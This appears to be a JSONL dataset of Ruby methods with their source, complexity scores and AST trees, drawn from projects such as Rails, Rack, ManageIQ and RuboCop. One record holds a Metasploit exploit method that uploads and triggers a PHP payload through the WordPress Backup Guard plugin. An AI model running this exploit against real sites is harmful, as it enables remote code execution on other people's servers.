{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/tasks/gettext_task_override.rb","start_line":11,"raw_source":"def output_path\n      ::ManageIQ::UI::Classic::Engine.root.join('app/javascript/oldjs/locale')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"output_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ManageIQ\"]},\"UI\"]},\"Classic\"]},\"Engine\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"app/javascript/oldjs/locale\"]}]}]}","id":"9400f402-4ddb-4834-8975-9604b2bfebee"}
{"repo_name":"wisper","file_path":"./repos/wisper/spec/lib/wisper/broadcasters/logger_broadcaster_spec.rb","start_line":115,"raw_source":"def classy_double(klass, options)\n          double(klass, options.merge(class: double_class(klass)))\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"classy_double\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[null,\"double_class\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}]}]}","id":"84ce0526-339c-463c-8c68-9b2102abb7a5"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/common_logger.rb","start_line":52,"raw_source":"def log(env, status, response_headers, began_at)\n      request = Rack::Request.new(env)\n      length = extract_content_length(response_headers)\n\n      msg = sprintf(FORMAT,\n        request.ip || \"-\",\n        request.get_header(\"REMOTE_USER\") || \"-\",\n        Time.now.strftime(\"%d/%b/%Y:%H:%M:%S %z\"),\n        request.request_method,\n        request.script_name,\n        request.path_info,\n        request.query_string.empty? ? \"\" : \"?#{request.query_string}\",\n        request.get_header(SERVER_PROTOCOL),\n        status.to_s[0..3],\n        length,\n        Utils.clock_time - began_at)\n\n      msg.gsub!(/[^[:print:]]/) { |c| sprintf(\"\\\\x%x\", c.ord) }\n      msg[-1] = \"\\n\"\n\n      logger = @logger || request.get_header(RACK_ERRORS)\n      # Standard library logger doesn't support write but it supports << which actually\n      # calls to write on the log device without formatting\n      if logger.respond_to?(:write)\n        logger.write(msg)\n      else\n        logger << msg\n      end\n    end","complexity_score":41.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"response_headers\"]},{\"type\":\"arg\",\"children\":[\"began_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[null,\"extract_content_length\",{\"type\":\"lvar\",\"children\":[\"response_headers\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"const\",\"children\":[null,\"FORMAT\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"ip\"]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_header\",{\"type\":\"str\",\"children\":[\"REMOTE_USER\"]}]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"request_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"script_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path_info\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"query_string\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"query_string\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_header\",{\"type\":\"const\",\"children\":[null,\"SERVER_PROTOCOL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"clock_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"began_at\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^[:print:]]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"\\\\x%x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"ord\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_header\",{\"type\":\"const\",\"children\":[null,\"RACK_ERRORS\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"write\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"aa8d4bc6-2a88-48f5-a529-37e1d263899e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":258,"raw_source":"def checkout_at(target_directory)\n    checkout_to(target_directory)\n  rescue Rugged::SubmoduleError\n    FileUtils.rm_rf(target_directory) # cleanup from failed checkout above\n    GitWorktree.checkout_at(@path, target_directory, @options.merge(:commit_sha => @commit_sha))\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_directory\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout_to\",{\"type\":\"lvar\",\"children\":[\"target_directory\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rugged\"]},\"SubmoduleError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"lvar\",\"children\":[\"target_directory\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitWorktree\"]},\"checkout_at\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"lvar\",\"children\":[\"target_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_sha\"]},{\"type\":\"ivar\",\"children\":[\"@commit_sha\"]}]}]}]}]}]}]},null]}]}","id":"00b503d4-32ab-458c-ae80-c798178a0105"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/mixins/relationship_mixin_spec.rb","start_line":1049,"raw_source":"def build_relationship_tree(tree, rel_type = test_rel_type, base_factory = :vm_vmware)\n    # temp list of the relationships\n    # allows easy access while building\n    # can map to the resource to return all the resources created\n    rels = Hash.new do |hash, key|\n      hash[key] = FactoryBot.create(:relationship,\n                                     :resource     => FactoryBot.create(base_factory),\n                                     :relationship => rel_type)\n    end\n\n    recurse_relationship_tree(tree) do |parent, child|\n      rels[child].parent = rels[parent]\n      rels[child].save!\n    end\n    # pull out all values in key order. (0, 1, 2, 3, ...) (unmemoize them on the way out)\n    rels.each_with_object({}) { |(n, v), h| h[n] = v.resource.tap(&:unmemoize_all) }\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_relationship_tree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tree\"]},{\"type\":\"optarg\",\"children\":[\"rel_type\",{\"type\":\"send\",\"children\":[null,\"test_rel_type\"]}]},{\"type\":\"optarg\",\"children\":[\"base_factory\",{\"type\":\"sym\",\"children\":[\"vm_vmware\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rels\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"relationship\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"base_factory\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationship\"]},{\"type\":\"lvar\",\"children\":[\"rel_type\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recurse_relationship_tree\",{\"type\":\"lvar\",\"children\":[\"tree\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"child\"]}]},\"parent=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"child\"]}]},\"save!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rels\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"resource\"]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"unmemoize_all\"]}]}]}]}]}]}]}","id":"865c3a9a-2493-4b24-b8a1-d361e57269a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/configuration.rb","start_line":127,"raw_source":"def respond_to_missing?(name, include_private = false)\n        Settings::Definition.exists?(name.to_s.sub(/\\?$/, \"\")) || super\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Definition\"]},\"exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\?$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c4c5bdee-8a99-4deb-b2e1-695ae363bcb6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects/export_job_finder.rb","start_line":8,"raw_source":"def initialize(project, user, params = {})\n      @project = project\n      @user = user\n      @params = params\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"82fe110f-4650-4ce7-b231-9864da052e5e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_plugin_backup_guard_rce.rb","start_line":85,"raw_source":"def exploit\n    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])\n    fail_with(Failure::UnexpectedReply, 'Authentication failed') unless cookie\n    token = get_token(cookie)\n    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the Backup Guard token') unless token\n    payload_name = \"#{Rex::Text.rand_text_alpha_lower(5)}.php\"\n\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(payload.encoded, 'text/php', nil, \"form-data; name='files[]'; filename=#{payload_name}\")\n\n    print_status(\"Uploading file \\'#{payload_name}\\' containing the payload...\")\n\n    r = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/wp-admin/admin-ajax.php'),\n      'headers' => {\n        'Origin' => full_uri(''),\n        'Referer' => full_uri('/wp-admin/admin.php?page=backup_guard_backups'),\n        'X-Requested-With' => 'XMLHttpRequest'\n      },\n      'vars_get' =>\n      {\n        'action' => 'backup_guard_importBackup',\n        'token' => token\n      },\n      'cookie' => cookie,\n      'data' => post_data.to_s,\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n    )\n\n    fail_with(Failure::UnexpectedReply, \"Wasn't able to upload the payload file\") unless r&.code == 200\n    register_files_for_cleanup(payload_name.to_s)\n\n    print_status('Triggering the payload ...')\n    send_request_cgi(\n      'method' => 'GET',\n      'cookie' => cookie,\n      'uri' => normalize_uri(target_uri.path, \"/wp-content/uploads/backup-guard/#{payload_name}\")\n    )\n  end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"wordpress_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Authentication failed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[null,\"get_token\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve the Backup Guard token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"str\",\"children\":[\"text/php\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name='files[]'; filename=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading file '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"str\",\"children\":[\"' containing the payload...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/wp-admin/admin-ajax.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\",{\"type\":\"str\",\"children\":[\"/wp-admin/admin.php?page=backup_guard_backups\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"backup_guard_importBackup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Wasn't able to upload the payload file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering the payload ...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/wp-content/uploads/backup-guard/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]}]}]}]}]}]}","id":"af6f2589-6325-4224-8163-c364a36260fe"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/safe_navigation.rb","start_line":323,"raw_source":"def extract_common_parts(method_chain, checked_variable)\n          matching_receiver = find_matching_receiver_invocation(method_chain, checked_variable)\n\n          method = matching_receiver.parent if matching_receiver\n\n          [checked_variable, matching_receiver, method]\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_common_parts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_chain\"]},{\"type\":\"arg\",\"children\":[\"checked_variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matching_receiver\",{\"type\":\"send\",\"children\":[null,\"find_matching_receiver_invocation\",{\"type\":\"lvar\",\"children\":[\"method_chain\"]},{\"type\":\"lvar\",\"children\":[\"checked_variable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_receiver\"]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_receiver\"]},\"parent\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checked_variable\"]},{\"type\":\"lvar\",\"children\":[\"matching_receiver\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}","id":"16b68766-e7e6-4f67-b75f-3b39755b7c0e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/storages/oauth_access_grant_nudge_modal_component.rb","start_line":57,"raw_source":"def waiting_title = I18n.t(\"storages.oauth_grant_nudge_modal.requesting_access_to\", storage: storage.name)","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"waiting_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.oauth_grant_nudge_modal.requesting_access_to\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"name\"]}]}]}]}]}","id":"cadf2d4a-90a1-4821-95d4-178a229096e1"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/commands/new.rb","start_line":55,"raw_source":"def author\n        if !Array(options[\"author\"]).empty?\n          options[\"author\"].join(\", \")\n        elsif !git_author.empty?\n          git_author\n        else\n          \"TODO: Write your name\"\n        end\n      end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author\"]}]}]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author\"]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_author\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"git_author\"]},{\"type\":\"str\",\"children\":[\"TODO: Write your name\"]}]}]}]}","id":"47a3b296-9c4d-4675-8f58-ff887fab0348"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/messages/metadata.rb","start_line":78,"raw_source":"def extract_from_metadata_envelope(envelope, purpose: nil)\n          hash = envelope[\"_rails\"]\n\n          if hash[\"exp\"] && Time.now.utc >= parse_expiry(hash[\"exp\"])\n            throw :invalid_message_content, \"expired\"\n          end\n\n          if hash[\"pur\"].to_s != purpose.to_s\n            throw :invalid_message_content, \"mismatched purpose\"\n          end\n\n          hash\n        end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_from_metadata_envelope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"envelope\"]},{\"type\":\"kwoptarg\",\"children\":[\"purpose\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"envelope\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_rails\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"parse_expiry\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exp\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"invalid_message_content\"]},{\"type\":\"str\",\"children\":[\"expired\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send